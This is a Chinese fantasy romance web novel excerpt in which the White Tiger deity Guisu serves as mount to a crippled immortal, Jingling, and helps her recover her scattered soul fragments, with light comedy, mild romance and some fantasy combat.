静谧的夜幕低垂,冷冽的泉水寒彻骨,却远远不及他体内的那股炽热,痛得令他难以招架,失去理智般地低吼粗喘。
全身赤裸的他垂眸凝视着为他绽放的花儿,艳丽且妖媚,他为花儿痴、为花儿狂,只因他深爱着名为「仙」的花朵,纯洁如白绸。
迷乱的气息交融,他更加贪婪地窃取甜美的蜜液。
花儿绝地盛开争艳……
他猛地睁开了双眼,背上的薄汗弄湿了衣衫,胸口正因方才的梦境而上下起伏,身体的某处还处於兴奋不已的状态。
向来鲜少作梦的他竟然作了……那样的梦。
「我作了春梦?」他难以置信地按着胯下的那份雄性,硬挺且勃发。
如果把这情况套用在男性凡人身上,或许不足为奇,但用在他身上,他可不敢恭维,反而退避三舍。
梦,对他而言,是预知的未来,同时也是他不可抗拒的力量。
「小白叔叔,你怎麽了?」
闻声而回神的癸宿,连忙朝友人托他照顾的孩子一笑,「没事,天还没亮,怎不多睡点?叔叔吵醒你了吗?」
「不是,莹儿整夜翻来覆去,我看了心疼就把她抱着睡,折腾了好久才终於睡着,我也不易入睡了。」
已经九岁的莹儿还是相当黏哥哥,但要怪就要怪望熹无时无刻的宠溺疼爱,捧得多像如获至宝,该说妹妹过於天真烂漫,还是哥哥心机太重,准备培育他未来的新娘?
啧啧,那家的人真是上梁不正下梁歪,养父不把伦理摆眼里,异界的娘亲更是举双手同意这椿娃娃亲,想想当年天真直率的男孩,如今竟摇身一变成为只想把妹子占为己有的少年。
唉,他那老是抱着他大腿的可爱熹儿,终究还是长大了……
望熹不明白癸宿为何东叹一声、西叹一声,只管把莹儿稳稳抱妥,怕毯子下的小石子弄痛了她。
癸宿并无固定的住所,大部分的时间都是露宿野外,长期下来望熹也习惯了这样的生活,毕竟他从小就经常随着癸宿到处游走旅行,而现再多带了一个妹妹罢了。
「熹儿,还想睡吗?」
「不了,叔叔想谈天吗?」
癸宿莞尔一笑,「我之前就想问问你了,你已经能控制体内的力量了吗?」他意指望熹体内一半的魔性之力。
望熹倒是自信满满,「已经掌握八、九成,运用在爹传授的术法上也完全任何的排斥反应。」
「那就好,毕竟我们对魔都不是很了解,就怕你不能控制,导致魔力暴走,伤了人就不好。」癸宿摸了摸下巴,「不过会被你伤到的人,顶多就只有你的娘亲吧?莹儿的龙力多少也能运用了。」
说到自家的妹子,望熹就忍不住苦笑,「叔叔,我真的很佩服你们这些神兽,就算像莹儿这样的半龙,体内的那股强悍还是不容小觑。」他的身上可有好几道被小龙爪抓伤的疤痕。
「呵呵,就武力而言,你爹的实力可说是数一数二。」
「嗯,爹他很强。」从小对父亲的崇拜不减反增。
「那他们这次把你们丢给我,是又打算去哪游玩了?」那对夫妻就算孩子都已经大了,恩爱程度依旧像新婚的年轻夫妻。
望熹耸耸双肩,「说这次要到远一点的地方,本来娘是想带上我们,结果直接被爹扔到叔叔你这。」
「……」意思说不要去打扰他与爱妻的甜蜜时间吗?
上玖这混帐,这两只是你家的小萝卜头吧?孩子生了就自己照顾啊!别老是把他当奶娘来招呼!
癸宿没好气地甩着尾巴,起身看着那两个小毛孩,「你们这几年也跟着我走遍了西国,如果你们想,我倒是可以带你们到其他国走走。」
「这样好吗?叔叔可以离开西国吗?」
「无所谓,我可没有你爹那麽勤劳。」他点了点望熹的鼻头,「如果顺路的话,还可以去探望老友们。」
「那也请务必带上我们。」
一道陌生的男音毫无预警地传来,癸宿立刻拎起望熹往反方向退後几步,背光的黑发男子手持着形状奇特的大刀,站在大树旁没有再上前一步。
「呜呜……」莹儿揉着眼,在望熹怀里挣扎了会,「哥哥,莹儿还困。」
「乖,你睡,哥哥会抱好你。」他紧绷了神经,不确定自己是否能保护好莹儿,以及是否能不成为小白叔叔的累赘。
癸宿将两人护在身後,两道剑眉紧紧锁着,「小子,哪一界的人?」
男子笑吟吟地指着天空,然後表明自己的目的,「我的主人需要一匹坐骑,正巧我路过这看到你们。你是虎精吗?」
「……」癸宿抹了一把脸,把望熹从身後推了出来,「熹儿,和那儿的高个子说清楚讲明白,你家小白叔叔是什麽身分地位。」
虎精?竟然有人说他是虎精?他倒要看看是哪种主人教出这样眼睛摆好看的侍从。
「呃……这位大哥,叔叔他不是虎精……」他也还没从错愕中醒来,一是叔叔竟把他推向火坑,二是竟然有人称叔叔是虎精。
「虎精?小白叔叔是虎精吗?」突然睡醒的莹儿睁大了双眼,连忙巴着哥哥质问:「哥哥,小白叔叔不是白虎吗?那爹爹是什麽?爹爹不是龙吗?」
「……」望熹白了癸宿一眼,才回头和莹儿仔细地解释清楚,「莹儿记好了,叔叔是神兽白虎,爹也是神兽青龙,才不是那种不上不下的妖精。」
这下,望熹确定那个男子听得一清二楚,因为他隐约看到那人脸上的表情变了,而且似乎被这个事实吓得不轻。
不过那个男人应该不是一般人,全身上下散发出来的气息和小白叔叔很像,但隐约又多了一种陌生的庄严感。
「你是神兽?」对方的语气中带着狐疑。
「啊啊,我最讨厌有人质疑我了。」癸宿一手拉着望熹和莹儿,一手拎起行李,转身准备离去。「告诉你的主人,本大爷现在已经有约了,择日再来吧。」
「请、请慢着!」
「甭想,下次叫你的主人自己来见我,哼哼。」
一个跃步,直接消失在树林间。
☆、白虎(二)
最近真是不得安宁,昨日才刚送走足足跟着他有十来天的小孩,今天竟然又有人上门找他,连睡个午觉都会被人用棍吵醒。
癸宿在躲避来路不明的攻击时,便已经变回原形,这是他一向的作风,不喜欢在陌生人前露人形的模样。
从天而降的银白发男子,稳稳地站在直立的棍上,满脸鄙视的神情望着他,「九泉,你确定是他吗?横竖看都只是只虎。」
在那银发男子的後方传来令他有些耳熟的声音。
「确定,你没感觉到神威?」
跟着出现的是前些日子的黑发男子,右边的肩头上坐着一名青衫女子,面容清秀微带病气,白如雪的肌肤,少了点粉嫩的生气,如果没有散着微弱的仙气,癸宿一定会以为她是个……女鬼。
「太初,不得无礼。」轻柔如丝的语调,有着不抗拒的威严。
「是。」名为太初的银发男子连忙收起武器,翻了跟身落在女子的身旁。
『小子,你家主人?』
九泉点了头,「是的。」
女子轻盈地跳下,双脚却不落地,藉着法力浮到癸宿的面前,深深作揖,「白虎神君,万分抱歉,请原谅妾身两名护法的无礼。妾身名为镜泠。」
『你太抬举我了,不过请告诉我,你的来历及目的。』第二度的造访,看来应该是真的有事相求。
镜泠屈膝而坐,与他面对面,「妾身是诞生於神界的佛界之人,因为某些因素造成双脚无法行走,所以正打算寻找能代步的坐骑,以便四处找寻医治双脚的方法。」
癸宿扬了眉。从她不愿轻易使用法力这点,应该是有不能使用的原因,再加上直接挑上他当坐骑,就表示她的双脚不是那麽简单可以痊愈,恐怕是需要能够上刀山下油锅的猛骑。
『给药王看过没?』在医术方面,药王是神界的首选。
镜泠先是点了头,又摇了摇头,「没救了,这双脚除非靠妾身的法力,不然药王大人也束手无策。」
『讲清楚点。』他开始怀疑这女人是不是隐瞒了最重要的事情。
平静淡定的脸蛋闪过一丝的犹豫,但还是缓缓地启口,「妾身是个罪孽深重的存在,因为贪生怕死,在大战中丢下同袍逃命,一双双憎恨的眼下达了诅咒,从脚开始,妾身变得无法自由行走,进而一点一滴地失去法力。」
诅咒,乃是上最难解的毒。
无预警地,一只虎掌贴上她的脸,身旁的护法立刻抽出了武器。
「慢着。」她出声制止了两名护法。
癸宿半眯起眼,透过掌心传递些法力,让她先稳住仙体。『你啊,七魂里少了六魂,真不知道你是怎麽撑过来的。』怪不得那麽像只女鬼。
比起刚才,体内被灌入白虎之力的镜泠,觉得身子轻松许多。
「感谢神君的大恩大德。」
他拍拍她的头,旋即变回一头慵懒的老虎,摇着尾巴准备睡回笼觉。『那你们找我是为了找你的六魂吗?』
「是的。」
『天下如此大,就算加上我,要全部找到不知道要花上多少年的时间。』癸宿趴了个舒服的姿势,感觉眼皮越来越重,『我是可以陪你们找,但我想多找点人帮忙会更有效率……等我睡醒,我去找……帮忙……』
说着说着,癸宿就打起呼噜噜的猫打呼,丢下三位客人大眼瞪小眼。
「仙尊,我们这……」九泉跟着蹲在镜泠的身旁,熟稔地搀扶住她,「要待在这吗?」
「果然是只野兽。仙尊,我来把他叫醒。」他气得咬牙,二话不说就把长棍握在手上。
「无妨,今晚便在这露宿。」镜泠一瞬也不瞬地凝视癸宿,「今後,必定要有神君相助,否则,妾身唯死一途。」
「仙尊……」
太初和九泉互看一眼,只好顺应她的命令。
怎料,露宿野外的第一晚只是个开端。
夜半,月儿高高挂,癸宿被相当细微的声响给吵醒,不是熟悉的虫鸣声,反而更像是人类发出的声音。
正当他准备起身探查时,才注意到身上多了个重量,微眯起眼看了看,竟是镜泠躺卧在他身上,睡得香甜的表情彷佛告诉他,他是个相当舒适的枕头。
要把她丢下也不是,不去探查声音的来源,又无法安心入眠,这下可伤透他的脑筋了。
「……无事喔。」
大概是被他的动作给吵醒。癸宿一脸心虚地趴回原本的姿势,用尾巴替她盖妥身上的毛毯。
「是太初和九泉,神君无需探究。」她的声音很轻很淡。
癸宿不解,『两个大男人,半夜不睡觉,发出那麽奇怪的声音,是在做什麽……』他哑口了,瞬间明白某个人之常情。
她轻抚着脸下的皮毛,调整一个更舒服的姿势,对於癸宿的惊讶加错愕,选择忽略。
『这种事情经常…发生吗?』他忍不住打了个寒颤。
「非也,他俩乃护法,尽忠职守。因今夜有神君所在,他俩趁夜寻欢,妾身无妨便是。」
癸宿哭笑不得,这刺激着实不小。
接着,镜冷又继续解释,就怕他对她的两名护法有所误解。「欲,人之常情,虽太初与九泉无法实行阴阳调和,但同样出自於情爱。还请神君莫怪,他俩绝无耽溺私情、怠忽职守。」
『……』
他不怪不怪,只怪自己见识短浅、经不起刺激。
☆、白虎(三)
翌日,比起两名护法的神采弈弈,癸宿两眼充血的模样更令人感到疑惑,尤其是他用着怜惜、好奇、羞赧……极为复杂的表情望着两名护法时,莫名的怒火在当事人心中熊熊燃烧。
最沉不住气的太初直接破口大骂,「够了!你那是什麽表情?活像是见到什麽不堪入目的东西!」
癸宿心虚地撇过脸,『没有,你可以选择忽略我,我不会介意的。』
「啥?有话就讲清楚,别像个娘们不乾脆。」
『这不是三言两语可以说得清。』那种事情哪能当着他们的面说啊!
「你知不知道你这样很气人啊!有什麽好不敢说的。」
『…并不是那个问题……』
一旁默默不语的九泉,看着一神一虎的你来我往,多少摸索到一点头绪,为了验证他的猜测是否正确,他决定要大胆地试验。
「仙尊,两天下来,想必您也累了,昨夜九泉在前方找到一座清泉,不如趁天气尚好时,让九泉服侍您净身吧。」九泉温和地一笑。
「净身?」镜泠看了看身上的衣裳,以为他是要让她顺便更衣,「也好,就麻烦你了。」
正当九泉要横抱起她时,癸宿立刻跳上前,挡在他和镜泠之间。
『停,没听过男女授受不亲吗?就算你是她的护法,净身这种事哪能由你这个男人来服侍,想毁了她的名誉吗?』癸宿想也没想,就直接介入的下场,害他一脸困窘的进退两难,『你、你……别再靠近她了。』
「岂敢。」九泉一脸豁然的模样,然後给了他一阵怪笑,「哈哈……失、失礼了。」
癸宿古怪地睇了他一眼,反而不敢随便离开镜泠的身边,担心她的护法会有过度『逾矩』的举动。
「九泉,你在笑什麽?」太初也无法理解。
九泉抹了眼角的泪水,「白虎大人,你昨夜没睡熟吧?和仙尊聊了很多吧?自然包括我们两个的事吧?」
『……』
「呵,真是对不起仙尊和大人,都怪九泉没把持住。」
『……』
有些妖艳的面容挂起媚惑的歉意,让癸宿大大地抖出一地的**皮疙瘩。
「啊?难道你们是在讲昨夜……」终於明白过来的太初炸红了脸,不知所措地想找个地方面壁思过。
「无妨,九泉与太初开心便好,无需顾虑到妾身。」想到癸宿可能会所介意,缓慢地攀上他的颈子,试图想得到他的谅解,「神君,如果要怪罪,就请怪妾身的纵容吧,请您原谅他们。」
癸宿长叹一声。该欲哭无泪的人是他啊,单方面受到刺激的也是他,为什麽最後变成他是坏人?天理何在……
他温驯地蹭着她的脸,无奈地道:『放心,我什麽事都不会做,他们爱怎样就怎样,我也无法干涉。』
「感谢神君的谅解。」
「谢谢……」九泉准备上前行礼时,立刻被癸宿打住。
『停!不要再靠近了,你的心意我收到了。』他叼着镜泠退了一步,决定和他们两个护法保持距离,然後他蹲低身子,让镜泠可以容易坐上来。『坐上来吧,我们要上路了。』
镜泠犹豫了会,「这是要妾身坐上吗,神君?」
他没好气地白了她一眼,『不然你们找我还有其他目的吗?不就是要我当坐骑?上来。还有,你们有线索了吗?』
「听说紫霞山有类似魂魄的宝玉出现,但是……」太初边绷着脸,边将镜泠搀扶上,确定她坐稳後才放手。
九泉也不自禁地皱起眉头。
『紫霞山?』癸宿思索了会,好不容易想起住在那的某尊神,『喔,你们是在说紫衣吗?东西在他那吗?』
「神君认识?」
癸宿缓慢地走起,不疾不徐地在崎岖的山路间自由穿梭,稳健的步伐不让镜泠感到一丝的摇晃,就算不抱着他,也能轻松地坐上头赏花赏鸟。
这倒令镜泠有些讶异。
『有些交情。他很喜欢和上…青龙家的孩子们玩耍,结果有天出了点意外,妹妹受了点伤,父亲找上门算帐,两人就这样打了起来,後来是我出面制止,事情才平安落幕。』他毫不在意地说着熟人的糗事。
「……妾身曾闻紫衣天人性格乖戾,难以捉摸,而就论道行武力,也可算是神界的难得人才。」
癸宿皱皱鼻头,『他是很怪,但再怎麽怪,只要用点方法,他就会乖乖听你的话,到时我们到了紫霞山,我再教你驯服他的方法。』
「神君,你人真好。」她轻柔地抚着他的皮毛,以表她的心声。
『是吗?』被她那麽一说,他还真有点不好意思。『你是第一个说我是好人的佛,同僚们都当我是个单纯的笨蛋。』
「非也,神君是单纯,但绝非愚昧。与神君一起,令妾身感到轻松自在,妾身……是喜爱的。」她越说越小声,怕此话冒犯了他。
他愣了一下,赶紧安抚不停狂跳的心脏,说起话来也不自觉地结巴,『能、能让天女感到安心,是、是我的荣幸……』
刚才的心跳是怎麽了?他中邪了吗?
☆、白虎(四)
癸宿将两名护法留在山腰上,自己带着镜泠继续往山顶前进,途中被紫衣天人所释放出的式神阻扰,上山的速度一再地被拖慢。
『真是的,他是不知道是我要上山吗?』癸宿赏了式神一个虎掌。
「恐怕不知。」看着源源不绝的式神下山阻挡,镜泠只能那麽判断紫衣天人只把他们当作不速之客。
他无奈地一叹,『那只好强行突破了。』
当她还在疑惑如何强行突破时,他便开始在树林间狂奔,不再花费时间击倒式神,而是借力使力,踏着式神往山上冲去。
不料,正当他们准备突破层层包围,撞破对方家的大门时,一道猛烈的雷击硬生生地从天劈下,只差几寸的距离就烧了他的胡须。
癸宿是停下了,但也怒视着从闪雷中缓缓步出的人。
「胆子挺大的,连我家都敢踏入。」
『我看你是还没看清楚我是谁。』
紫衣天人半眯起眼,打量眼前这对奇怪的组合,「区区一个天女的坐骑……白虎?你是白虎?」
『你看过道行那麽高的虎精吗?』他没好气地对泥土出气,口气自然好不起来,『废话不多说,我今天来是和你要东西的。』
「你这是拜托别人的态度吗?」紫衣天人难以置信地瞪着他。
他不理会紫衣天人的报怨,『我要你之前找到类似魂魄的宝玉,那样东西可能是天女所找寻的物品。』
「宝玉?喔,是那东西啊。」紫衣天人一弹指,马上飘来一个式神,小心翼翼地捧着淡粉的宝玉,隐隐约约散发出吸引人的气味。
他故意忽略那过於甜美的气味,转头向镜泠问道:『那是你的吗?』
就算已经列入神格的神兽,本质上还是个忠於欲望的野兽,吞血肉、食魂魄,这些都是他们的必经之路,熬过这一关,便是净化心灵的大劫等着他们。
他不得不承认,骨子里尚未磨尽的兽性,依旧对那属於神、属於佛的魂魄垂涎三尺。
「是的。」镜泠捂着心口。即便痛苦,仍渴望属於自己的部份回归。
『听到了吗?给我吧。』
紫衣天人皱皱眉头,「你要拿什麽换?」想要无条件让给他,门儿都没有。
镜泠不禁暗忖:这天人果然有奇特之处,心性极像凡人,东西既不属於他,却也不愿轻易放手。她能拿什麽东西与其交换吗?早知如此,应该带着太初和九泉一起上山的,他俩应该有法子才对。
『下次我带熹儿和莹儿来找你玩。』前提是他家老爹不知情。
紫衣天人喜出望外,直接将宝玉拱手让人,「拿去拿去,这东西拿了也增加不了多少道行。别忘了你的承诺。」
癸宿抬高下巴,『一言既出驷马难追。』
「好,给你吧。」
紫衣天人才一靠近,宝玉像是与主人有所共鸣,转眼间就飞窜进镜泠的胸口,完全没入她的体内。
『没事吧?疼不疼?』光看那宝玉彷佛像是要穿透她的身子,他就恨不得把宝玉重新挖出来捏碎。
镜泠长吁一声,过了一段时间的沉默,终於朝他释怀地一笑。
「感谢神君相助,妾身…舒服许多。」
『是、是吗?那就好。』他连忙撇开脸,悄悄地抹了一把脸。
倒是一旁的紫衣天人没错过癸宿少有的表情,要不是他的皮毛够厚,任谁看了都知道他的脸皮发生了什麽事,甚至会以为他是个羞涩的小夥子。
啧啧啧,都活了那麽久,他还是第一次见到心智年龄仍停在少年时期的神兽,真枉费癸宿活了那麽长的岁月,白活了。
『那我们走吧……』
「慢着!」紫衣天人用力拉住虎尾巴,「那麽简单就想走?连声道谢都不会说吗?」
癸宿古怪地睨着他,镜泠则相当有礼地作揖道谢。
「感谢紫衣天人的大力相助,妾身毕生难忘,日後必报答。」
「不用谢,我不是要卖人情给你……」他想了想,突然漾起迷人的笑颜,「话说,你们现在是要找其他类似的宝玉吗?」
「是的。」
「我手头有个线索,不知你愿不愿意与我交易?」
「……」果然没带上护法们是失策。
『你做啥?我还在这,要交易还是啥得先经过我的同意。』
「你的话就好说了,就刚才的条件,我要翻倍。」
癸宿瞪着狮子大开口的紫衣天人,深感自己真是结下了孽缘,当初真不该出手救他的。
「我听说朱雀那也有。」他知道癸宿一定会答应的,於是迳自往屋里走去,关门前还不忘提醒他,「我等你的消息,小癸宿。」
『……』呕死了,要气死他了。
镜泠歪着头问了无关紧要的问题,「小癸宿?是您吗?」
『癸宿,我的真名。』
「随便把真名说出来,好吗?」镜泠大感不妥,难得语带冷淡,「真名乃生命之核,掌握真名,即掌握此人生命。神君,这实在不妥,请您日後必三思後,才与人深交并交换真名。」
癸宿沉默不语,用着更快的步伐下山,与两名护法会合,再简单地交代目的地後,便不再开口。而镜泠只怕是自己得罪了癸宿,也不敢轻易开口,跟着一起沉默下来。
在几天的赶路下,癸宿将他们留在朱雀宫殿的大门外,独自翻墙进入宫内。
与他们分开後,癸宿重重一叹,重新幻化回人型,一边按着僵硬的肩膀,一边缓慢地朝放置奇珍异物的宝库前进。
後脚刚踏入宝库,某个熟人的後脚就跟着踏上门槛。
「我怎麽不知道你有这样的恶趣儿?」
癸宿头也不转,继续在黑暗中翻找所寻之物,讪讪地回道:「我找到後就会走。别和晨星多嘴,我可不想听她罗嗦。」
「…你这次又再帮谁的忙?」
「在神界诞生的佛。」
莫芳上前走到他的身後,一把抓住他的肩膀,直接让他面向他。
「佛?慈悲为怀的佛会让你这种心软的人,露出这种难过得像天要塌下的表情?」莫芳相当地不客气且不留情,任谁看到癸宿这模样,定会和他有一样的举动和心情。「发生了什麽事?让我帮帮你吧。」
癸宿紧蹙着眉,略带不安地启口,「……我在想,我是不是惹人不开心了?被严厉地训了。」
「你做了什麽吗?」
「说了我的真名……然後,被骂了。」
莫芳不解,「真名又如何?你又为何介怀呢?」
他抹抹鼻头,「我担心我被讨厌,做事不经思考……」
「你……」莫芳东凑西凑,隐约知道了大概,「你,难道…喜欢上那个神界的佛?」
「啥?」
☆、白虎(五)
「为什麽叫得那麽大声?」莫芳白了他一眼。
「你慢点,我有点跟不上……」他越想越不对劲,他俩的对话不过几句,他为何能得出那样的结论?
癸宿放下手边的工作,开始思考他是不是小看了莫芳的才能?他承认那小子很能察言观色,理解与推理能力也不差。难道是因为认识得不够深,所以尚未完全了解这小子?
「我都还没説对方是男是女`是圆是扁,你就认为我喜欢对方?」他向莫芳表示他的疑惑。
莫芳好心地向他解释,「是美是丑,我是不清楚,但是从你那麽在乎对方的想法,甚至害怕对方厌恶你……我只能想到那个可能。然後是男是女,除非你有断袖之癖,不然答案不是显而易见吗?」
「唔。」
「我有说错吗?」
「没有。」
「那就对了。」莫芳轻轻一弹指,宝库内立刻漂浮几朵火焰,照亮了整座宝库。「你要找什麽,我帮你。不要看这里小小的,放置的东西还不少。」
癸宿粲然一笑,「好兄弟,当初果然没帮错人。」
「少来。」
「你瞧,你连朱雀的火焰都可以驾驭了,又亮又美,就和晨星一样。」
「……你要找什麽?」莫芳连忙转过头,不想让天真过头的某人看到他现在的模样。
他自然是没注意到。「我要找魂魄,现在应该是宝玉的样子,我不确定它还有没有其他的状态。」
莫芳眉头一皱,难得俊俏的面容有种难以言喻的为难。沉默了一会,他拉起挂在腰带的佩饰,两颗晶莹的青色玉珠碰撞出清脆的声响。
「……是这个吗?」
癸宿睁大了眼,左右看了又看、摸了又摸,然後用力地点头。
「果然……」他单手捂着脸,满脸的无奈。
头脑单纯的癸宿不明所以,「怎麽那麽刚好,就在你的身上?」
「因为……」他拿下玉珠递给了他,「不久前琉玥捡到,说上面有奇怪的脉动,却又很纯净,很像神界才有的东西。还说这东西的主人日後应该会来寻找,她留在身上担心对方找不到人,所以就由我来保管。」
「但为什麽它们在你身上好像只是个配件?」
「……为了能随时随地带着。」他说得很委婉。
「啊啊,我懂我懂,那位公主除了对你之外,从来没有好心过。」就算被她捡到天帝的宝贝,她还是照样敲敲打打,没熔了算便宜它。
真是辛苦莫芳了,真的是爱惨他们家的公主……不,现在已经不是他们家的,是他家的女王。
莫芳熄了火焰,推着癸宿离开宝库。
「所以,现在你要离开了吗?」
「唔,嗯。」他低首把玩手中的玉珠,犹豫、欲言又止的表情全写在脸上。
「癸宿。」莫芳推了推他,给了他一个安心的笑容,「你何不和她好好聊一下?有些事不是表面看的那样。想要别人信任你,你就得先信赖别人,从敞开心胸相信别人开始吧。」
癸宿眨了眨眼。
相信别人?
他……其实内心对镜泠还保留一丝的怀疑吧?否则,他也不会无意识地避讳她闯入『他们』的世界。
他并不相信她…吗?
『镜泠!』
镜泠自打坐中睁开了眼,兴喜地迎接同样兴冲冲回来的癸宿,看着他硕壮的身躯在她面前猛然停住,闪亮的双眼彷佛像个等着主人奖励的忠犬。
看着他开心的模样,镜泠的心情跟着大好起来。
「欢迎回来,神君。」
『我找到两颗类似的,你瞧瞧。』他晃着尾巴,将卷在上面的玉珠递给她。
她才刚碰触到,两颗玉珠马上窜进她的掌心,瞬间没入。
癸宿有些紧张地望着她,『感觉怎样?』
「舒畅许多,双脚似乎能多动一些。」为了表示她的恢复,特地抬了抬脚,虽然还无力自行站立,但大腿确实能自由行动了。
自从双脚不能行之後,相继的是逐渐流失的神力,她束手无策,只能眼睁睁地看着自己渐渐衰退,一天比一天憔悴病弱,在绝望之际,是被两名同为被主人舍弃的护法,一人一手所救起。
从此三人下凡寻找失散的六魄,就算是被诅咒的她,还是因道行低弱而被欺负的两名护法,不离不弃,只紧紧地握着彼此的手,在找到属於自己的道路之前,他们必须这样扶持着彼此。
『那两个小子去哪了?』左看又看,就是没看到那两个紧巴着镜泠的护法。
镜泠温和地一笑,展开双臂搂着他宽厚的颈子,「九泉和太初说不想老是依赖着神君,为了我,他们决定与我分开,先去寻找魂魄的下落。他们很棒吧,神君……他们都往前迈进了。」
他伸了虎掌轻抚着她的背,『那我们辜负他们的心意,上路吧。』
「是的。」
☆、白虎(六)
确定她已经坐稳後,他开始往南国的边境奔去。据日前式神回报的消息,在南国与东国的边境似乎有人目睹到,长年居住於此处的雨妖得了宝玉,增了不少道行,肆意勾搭无知的雄性,采补阳刚之气以助修行。
他一路地狂奔不停,不稍一日的时间,便达以河川分界的边境。浓浓的水气掩盖了自然的样貌,远处有座磅礴的瀑布直流而下,轰然的水声更将细微的声响全吸收。
镜泠不由得赞叹:「好美,朦胧。」如果不是有急事在身,她真想好好地欣赏一番。
『是吗?』癸宿用力嗅着空气中的味道,除了水之外,好像还有什麽。
他小心翼翼地放下镜泠,旋即变回人型,接着又匆匆抱起她,届时提高了野兽的警觉心。
「这里太诡异了,我不放心。」他眯起金色的瞳眸,环视着他们的所在地。
镜泠瞠大了眼,仔细地打量眼前这位很有武将味道的男人。如同他的皮毛一般蓬松如羽的银白发,一身黑色的劲装,两色的反差突显出他的好体格,以及超凡的气质。
好想摸摸看,看起来好像很舒服……
啊,摸到了……果然好软、好好摸。
「镜、镜泠?」怎怎怎怎、怎麽突然玩起他的头发?
癸宿红着脸瞄了瞄某尊开始玩起他的头发的佛,可以清楚地感觉到她的手指滑过发丝,然後绕了又绕,反反覆覆。
就、就这样让她玩吧,谁教他是个尽职的坐骑兼玩伴。
「卿卿我我的小情人,看了真令人眼红。」
突如其来的声音,伴随着数道破风的尖锐声,由水珠凝聚成的细针,毫不留情地射向两人。
癸宿瞬间抱紧了镜泠,在第一根针划破他的脸颊的同时,属於他的黑色身影就已经跃上半空,靠着下坠的速度,一边空转一边闪过接续来而的攻击,来不及落地,数以百计的细针便已从四面八方袭来。
然而,细针却扑了空。
「啊呀呀,速度真快。」从林间缓缓步出了一位身穿水蓝霓裳的女子,绝艳的外表,婀娜的曼妙身材於纺纱内若隐若现,怪不得能多次得手─阳刚之气。
那名女子弯下腰身,抹了嫩草叶上的血珠,笑得既妩媚又艳丽,「好美的红色,雨姬从来没见过那麽美的颜色,好想要……」
癸宿忿恨地瞪着对方,无奈右小腿怵目惊心的伤口,正和了对方的心意,鲜红的血一条条地流下。
「神君,放妾身下来吧,妾身会害了你。」镜泠开始挣扎,却被面带戾气的癸宿狠狠地捏了一把纤腰。「啊!」
「闭嘴,我不会丢下你的,你再说这种话,我可是要生气了。」
「神君……」
「感情真好、真好,这样的男人我也好想要。」雨姬扬起水袖,空气里的水气再度凝聚成细针,团团包围住他俩。
啧,没办法了,本来不想动粗的。
「死吧。」
在镜泠也打算出手的时候,癸宿竟把她放了下来,然後大掌盖住她的耳,将她压进他的怀里。
紫色的闪电直直劈下,轰然巨响造成林间的骚动,更震得耳朵发疼。
「呀啊啊啊!」
忽然,镜泠一震,从雨姬身上传来魂魄的脉动共鸣。
她连忙要他停止攻击,「神君、神君,她身上有我的魂!」
「什麽?」他眉头一皱,不得已只好收回了神力。
此时的雨姬因为承受过於强大的雷击,倒卧在草地上呻吟,痛不欲生,就连逃跑的力气都荡然无存。
基於佛的天性,她实在於心不忍,却又无能为力,只好替她像癸宿求情,饶她一条小命。「神君,可否……」
但,癸宿即是冷冷地打断她的话,「我不是佛,慈悲心…是少了。」
她被遗留在原地,看不清背对她的癸宿的表情,但却能清楚地感受到他全身上下所散发的杀戮之气。
她慌了,她想要拉住他的衣角、想要阻止他的双手染上鲜血,无奈定在原地的双脚,只能眼睁睁地望着他一步步上前,在他右手手掌变为锐利的爪子时,她更慌了。
「不是的…不是的……你不是这样的人,不是啊!」
癸宿确实无法体会『佛』的想法与慈悲之心,面对一个不择手段都要他死的人,为何能抱持着妇人之心?他是熬过生死大劫才走到神兽这一步,杀戮是为了生存。
「呜啊、啊啊……」
「把不属於你的魂魄吐出来,我就让你死得轻松点。」
雨姬死寂的眼眸转了转,气犹悬丝地道:「……自个儿拿……」
「……」他的双眼一沉,料想她也变不出把戏,便松了警戒,伸了左手直接没入她的胸口,藉着神力探索内心深处的灵魂。
很好找,因为在一片混浊的妖力里,有两股纯净冰凉的流动穿过他的掌心。
「…恨啊……死前竟还有……你这心软的男人……陪我上黄泉!」
雨姬声嘶力竭,似乎用了最後一口气挣扎了。
癸宿瞪大了眼,及时抽出了左手。
「……咦?」镜泠僵硬地扭头望向一旁,她的魂魄随着某样东西飞落在她的附近。
那一霎那,她宁可是上天对她开的玩笑,一滴泪珠无声地滑过脸颊。
「癸宿!」
落在草地上,死守她重要的魂魄,那属於癸宿的……胳膊。
☆、白虎(七)
不要……
镜泠紧捂着胸口,每日以泪洗面,总是一片鲜红的梦境挥之不去,被恶梦惊醒的每一天,她都在癸宿的床榻旁度过,看着他因伤口而发烧,连日痛苦的梦呓,而她只能默默地承受如撕裂般的心痛。
癸宿的生命全系在她微弱的法力上,心力交瘁之际,就连回神界求救的气力都没有,只能祈求她的护法们听见她的声音。
这一天,她又从恶梦中惊醒。
「…你……怎麽哭了?」
熟悉的声音传来,镜泠反而愣住了。期盼太久太久,等到心愿真的实现,却觉得一切都好不切实际。
癸宿吃力地撑起身子,好不容易让昏沉的脑袋清醒了点,也让他清楚地感受到左手的空虚,而当下要做的第一件事便是将某佛抱在怀里。
「嘿咻。」单手捞起镜泠,轻而易举地将轻盈的她抱在大腿上,脸正好贴着她的发顶,「怎麽了?是魂魄让你不适吗?」
熟悉的体温、熟悉的气味……镜泠的泪水终於溃堤,紧紧地偎着他。
「神君,太好了,你没事。妾身担心你会一直沉睡,到时候妾身……」到时候她该如何是好?
他抹掉她的泪水,无奈又好笑地安慰她,「我这不就好好的吗?只不过断了只手,再找药王接回来就好。」嘴巴上是这麽说,他连他的断肢有没有腐烂都不知道。
「神君……」
「这些日子辛苦你了,我们回神界一趟吧。」他趁机偷偷啄了一口镜泠白净的脸颊。
她瞠大了眼,惊讶到差点跌下床,是眼明手快的罪魁祸首将她捞回来,非常乐见她染上一抹红霞的模样。
他、他竟然亲她的脸!从来没有人敢……敢亲近她。
「为、为什麽要……轻薄妾身?」
「那才不是轻薄。」他像是要向她抗议,气呼呼地鼓起脸颊,「那是因为我喜欢你,觉得你可爱,所以才会亲亲你。才不是轻薄……才不是。」
镜泠眨了眨眼,不太确定癸宿是否有烧坏脑袋,亦或连因为他而全身发烫的她,是否被传染而发烧呢?
喜欢?
她不是很懂,但这疯狂的心跳是否意味着什麽?
「我去洗个身,很快就回来。」
「喔,好。」镜泠还在一片混乱中,胡乱地应了声。
癸宿拍了拍她的头,走出临时找到的荒废小木屋,一踏出去才知道他们根本就还在两国之间的边境,遭袭击的地方说不定就在不久处,因为这里也是靠近湖泊的住所。
当他确定镜泠没有跟出来,硬拖着的脚步一个踉跄,差点跌入湖水里。他在岸边蹲了下来,将整张脸全藏进膝盖里。
